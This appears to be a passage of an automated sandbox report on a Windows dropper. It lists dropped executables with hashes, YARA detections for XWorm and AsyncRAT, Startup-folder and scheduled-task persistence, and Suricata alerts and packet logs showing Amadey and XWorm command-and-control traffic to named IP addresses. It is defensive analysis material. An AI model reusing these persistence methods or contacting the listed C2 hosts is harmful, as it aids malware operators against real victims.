SHA-512:	13E092E75FD3FCF2DAFCE1E186F6583DF1F562FFEBC5F45CDF80A21F2DEA25DC96E1535194E393B94153E2D41CB8B0E86B7835CB918FB278E119486836BC1CD9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r0Kg.....................@.......`...`... ....@.. .......................`............@.................................T...W.... .......................@.......................................................`..................H...........U@...7'.@6... ...8..................@...XejnR........`.......<.............. ..`.text...............>.............. ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1723904
Entropy (8bit):	7.9350018891587055
Encrypted:	false
SSDEEP:	49152:KQ4SuBDQC/lhGT3uXQqxxi0se9ZqMUO7kF:2S8QilVXBwgq
MD5:	7AC5198E128DEDA55EEEB6CCFC8B57EA
SHA1:	96B58D89DDFEDDA3DC8DAEBB4391ABE40843253E
SHA-256:	887A2E09A1E373AD3F5224A8464B0E5B4EBE4A344958C2D9C91CBD42A54F1241
SHA-512:	806E4CBF2B47AFF1E0BFB89FA13D55D10290C4CABB97E675808F3DBDCB7633D8FD97FC10619EFD1C0EE8D11A0C15C0604CCFC32D9A60979542A5235087127818
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r0Kg.................~........... D.. ........@.. .......................`D..........@.................................U...i.......8........................................................................................................... . ..... ...@... ..............@....rsrc...8............`..............@....idata . ...........d..............@... .`)..........f..............@...dvpnmyli.....@*......h..............@...lhlewnhz. ....D......(..............@....taggant.@... D.."...,..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884160
Entropy (8bit):	7.950739594502025
Encrypted:	false
SSDEEP:	49152:WXD4eGRjQJL6mT3b65gwKJQz0vu5Qx/XJ/Jl9KdhYFoQZ27:asjy6WS8JQzOz/XJTQdh1QZ27
MD5:	795DC87C1AF119B6D27E01167FC129D2
SHA1:	42C70518B0CE7AEA4BAFC32F8B3EF114FEBFED40
SHA-256:	F9D0E9D1C7D55D226E049475BE712FC1F9CD619B5E04CF615C0AD1274277341B
SHA-512:	6DE05C69379B4DA8BB8E9C4543EB42DEE1ACD57EF1CD60E03C25AE0942562EDC5BC998B956AC72EC053E7F94E8272FAA34553681C16BEF57DBD82AF6CC33150D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................K......i....@.................................W...k.............................J.............................8.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .p*.........................@...yguzlnpo..... 1.....................@...fkybguvz......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\github.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat Nov 30 16:08:15 2024, mtime=Sat Nov 30 16:08:15 2024, atime=Sat Nov 30 16:08:15 2024, length=52736, window=hide
Category:	dropped
Size (bytes):	759
Entropy (8bit):	5.058129684331557
Encrypted:	false
SSDEEP:	12:80zZKg4YbWCRdY//BysJLMf0Kae78pEAtjA+rH8oKeEAwpHBmV:8nHG+ISWOLJA+VLwpHBm
MD5:	079924290943FD70B60347366AB67381
SHA1:	B56763720CCF4D52C9BE28F49C473E759C7B0321
SHA-256:	BB19ADDF6E1C2F954BF84B32245B764AE9F79DC0F95A34B1FA8BABF2F3D291C4
SHA-512:	8BA03B8DB162DADC61114D156D5C94224421877BC7B337818C805985454A801DD064CD3DD31733432AFFF11D062CB41E2DF84095DCFAB0B392B8893622344B70
Malicious:	false
Preview:	L..................F.... .../@.qJC../@.qJC../@.qJC..........................t.:..DG..Yr?.D..U..k0.&...&......vk.v......=JC...Q.qJC......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^~Y............................%..A.p.p.D.a.t.a...B.V.1.....~Y...Roaming.@......CW.^~Y...............................R.o.a.m.i.n.g.....`.2.....~Y.. .github.exe..F......~Y..~Y..............................o.g.i.t.h.u.b...e.x.e.......X...............-.......W...........b/:G.....C:\Users\user\AppData\Roaming\github.exe........\.....\.....\.....\.....\.g.i.t.h.u.b...e.x.e.`.......X.......571345...........hT..CrF.f4... .n..=....,.......hT..CrF.f4... .n..=....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\github.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	6.560412971442069
Encrypted:	false
SSDEEP:	1536:J/mQgB/wjBHgXOo6PF09a3Yu2u29Pp9/D9gSFovbnlgZFO/86c9p:J/mzBIlAe3WuMzr9vFovbnmFO/54
MD5:	EFD5937F50C21B5CE660D67F3F995821
SHA1:	28C4A690949E1A798904C67A869E33EC0F70BA13
SHA-256:	5A09D23637929D77E9C04322D800690BC6E7272E0755843F387C37B99F452FB8
SHA-512:	13E092E75FD3FCF2DAFCE1E186F6583DF1F562FFEBC5F45CDF80A21F2DEA25DC96E1535194E393B94153E2D41CB8B0E86B7835CB918FB278E119486836BC1CD9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\github.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\github.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r0Kg.....................@.......`...`... ....@.. .......................`............@.................................T...W.... .......................@.......................................................`..................H...........U@...7'.@6... ...8..................@...XejnR........`.......<.............. ..`.text...............>.............. ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.384516219323605
Encrypted:	false
SSDEEP:	6:P2R3gXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lB7llPEt0:EKf2RKQ1CGAFAjzvYRQVB7nEt0
MD5:	D307AE650BD297F03CA394E9427C5126
SHA1:	3F177AADD4837B69E2EE6CD3ABA506172F73FF57
SHA-256:	313472BFC4EDF7855C57F0E124605ABD5C5C7D328C311FA23C629106749C3E9F
SHA-512:	73C329DED025D1B131C5AB84466B17C8357E206426B19E4F30D022C8420BDC6F3A6676EC7F8EFE00BFAC97F99C2F01A5EC05F7392E747306BDDB35CF61FC7AE4
Malicious:	false
Preview:	......b.LCA...n@.1F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950739594502025
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'884'160 bytes
MD5:	795dc87c1af119b6d27e01167fc129d2
SHA1:	42c70518b0ce7aea4bafc32f8b3ef114febfed40
SHA256:	f9d0e9d1c7d55d226e049475be712fc1f9cd619b5e04cf615c0ad1274277341b
SHA512:	6de05c69379b4da8bb8e9c4543eb42dee1acd57ef1cd60e03c25ae0942562edc5bc998b956ac72ec053e7f94e8272faa34553681c16bef57dbd82af6cc33150d
SSDEEP:	49152:WXD4eGRjQJL6mT3b65gwKJQz0vu5Qx/XJ/Jl9KdhYFoQZ27:asjy6WS8JQzOz/XJTQdh1QZ27
TLSH:	9D9533F8CF6786FFE2FCC1B4630D4F1B39B0420209889E6251AC2579C95F565ABB2D18
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8ae000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3DE87EA27Ah
setle byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F3DE87EC275h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
or al, byte ptr [eax]
add byte ptr [edx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4ac088	0x10	yguzlnpo
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4ac038	0x18	yguzlnpo
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	7b91343a0a4f86e526db20cf2b342b10	False	0.9982810371253406	data	7.9841219629652915	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x388	0x400	653a286c975ebb00a599f52fe26a194e	False	0.5	data	4.318140399940749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a7000	0x200	aa29ae031788cb96f5fd633968098753	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yguzlnpo	0x312000	0x19b000	0x19a400	a56875b04fef9f129239d6a9813ded56	False	0.9946524127818404	data	7.954610998694376	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fkybguvz	0x4ad000	0x1000	0x400	5310ca1f97851d91bcbef2cda291274e	False	0.7646484375	data	6.017808982110757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ae000	0x3000	0x2200	1b28343d8a4477bc6009b1a91d88fd65	False	0.06583180147058823	DOS executable (COM)	0.7536269129516635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4ac098	0x198	ASCII text, with CRLF line terminators			0.5833333333333334
RT_MANIFEST	0x4ac230	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-30T18:08:08.586709+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49753	185.215.113.43	80	TCP
2024-11-30T18:08:14.041214+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49775	31.41.244.11	80	TCP
2024-11-30T18:08:16.743019+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49769	TCP
2024-11-30T18:08:20.742546+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49784	185.215.113.43	80	TCP
2024-11-30T18:08:24.164103+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:08:24.164103+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:08:27.266910+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49805	31.41.244.11	80	TCP
2024-11-30T18:08:31.606790+0100	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.4	49785	179.43.171.209	7000	TCP
2024-11-30T18:08:32.028312+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:08:32.033547+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49785	179.43.171.209	7000	TCP
2024-11-30T18:08:34.188264+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49820	185.215.113.43	80	TCP
2024-11-30T18:08:38.320632+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49823	185.215.113.16	80	TCP
2024-11-30T18:08:40.968449+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49837	185.215.113.16	80	TCP
2024-11-30T18:08:46.447980+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:08:46.449937+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49785	179.43.171.209	7000	TCP
2024-11-30T18:08:54.174046+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:08:54.174046+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:08:54.929960+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.4	49860	185.215.113.43	80	TCP
2024-11-30T18:09:00.618246+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:09:00.664462+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49785	179.43.171.209	7000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2024 18:08:04.467483044 CET	49753	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:04.587501049 CET	80	49753	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:04.587578058 CET	49753	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:04.587791920 CET	49753	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:04.708259106 CET	80	49753	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:08.586709023 CET	49753	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:10.102602959 CET	49769	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:10.222628117 CET	80	49769	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:10.222897053 CET	49769	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:10.222976923 CET	49769	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:10.343405008 CET	80	49769	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:12.515664101 CET	80	49769	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:12.515753031 CET	49769	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:12.520142078 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:12.643119097 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:12.643187046 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:12.643426895 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:12.763621092 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.041142941 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.041213989 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.041383028 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.041393995 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.041428089 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.041451931 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.041790009 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.041807890 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.041830063 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.041860104 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.042654037 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.042665958 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.042674065 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.042696953 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.042745113 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.043595076 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.043606997 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.043644905 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.043657064 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.161168098 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.161241055 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.161631107 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.161802053 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.165393114 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.165446997 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.165575981 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.165622950 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.242492914 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.242563009 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.242818117 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.242893934 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.246692896 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.246757030 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.246891975 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.246941090 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.255119085 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.255193949 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.255341053 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.255489111 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.263556957 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.263618946 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.263751030 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.263802052 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.271971941 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.272034883 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.272167921 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.272218943 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.280384064 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.280428886 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.280603886 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.280734062 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.288786888 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.288845062 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.289024115 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.289066076 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.297211885 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.297283888 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.297418118 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.297465086 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.305628061 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.305685043 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.305833101 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.305871964 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.312910080 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.312978029 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.313091040 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.313137054 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.320385933 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.320436001 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.320564032 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.320611000 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.327449083 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.327502012 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.327625036 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.327672005 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.443679094 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.443761110 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.443854094 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.444051981 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.446391106 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.446443081 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.446584940 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.446630001 CET	49775	80	192.168.2.4	31.41.244.11
